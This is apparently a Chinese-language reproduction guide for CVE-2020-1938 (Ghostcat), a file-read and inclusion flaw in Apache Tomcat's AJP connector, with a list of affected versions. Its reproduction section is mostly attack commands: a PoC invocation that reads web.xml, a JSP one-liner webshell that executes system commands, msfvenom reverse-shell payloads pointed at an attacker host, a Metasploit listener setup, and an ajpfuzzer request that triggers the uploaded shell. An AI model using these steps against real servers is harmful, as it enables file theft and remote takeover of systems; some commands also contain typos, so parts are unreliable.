漏洞描述(后期跟进漏洞分析)
Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。
CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。
影响版本(Tomcat停止维护)
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
漏洞复现
本次复现环境
复现:读取文件
python2 ./CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 192.168.123.173 -f /WEB-INF/web.xml
复现:文件包含漏洞
(环境假设,存在文件上传(路径可控),通过上传木马文件,反弹shell)
一、上传一句话执行命令
<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>
使用poc解析文件,执行命令
python3 ./2020-10487.py -f /WEB-INF/1.txt 192.168.123.173 --rce 1
二、通过MSF生成shell
*1 利用ajpfuzzer_v0.6解析反弹shell
https://github.com/doyensec/ajpfuzzer/releases
使用MSF生成一个.png的shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=kali_IP LPORT=999 R >shell.png
设置监听
use exploit(multi/handler)
set LHOST 本机IP
set LPORT 999
set payload java/jsp_shell_reverse_tcp
然后执行木马文件(目录随便创的)
java -jar ajpfuzzer_v0.6.jar
connect 1270.0.1 8009
forwardrequest 2 "HTTP/1.1" "/11.jsp" 127.0.0.1 127.0.0.1 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:11.jsp","javax.servlet.include.path_info:/t/22/ma.png","javax.servlet.include.servlet_path:/"
现在kaili运行,在执行第三条命令
*2、使用poc反弹shell
还是用msf生成shell文件
msfvenom -p java/jsp_shell_reverse_tcp LHOST=Kali_IP LPORT=4444 > shell.txt
Kali设置监听
先运行MSF,再去执行shell进行反弹
参考:
https://www.secfree.com/17211.html
https://blog.csdn.net/sun1318578251/article/details/104433346
非常感谢!!!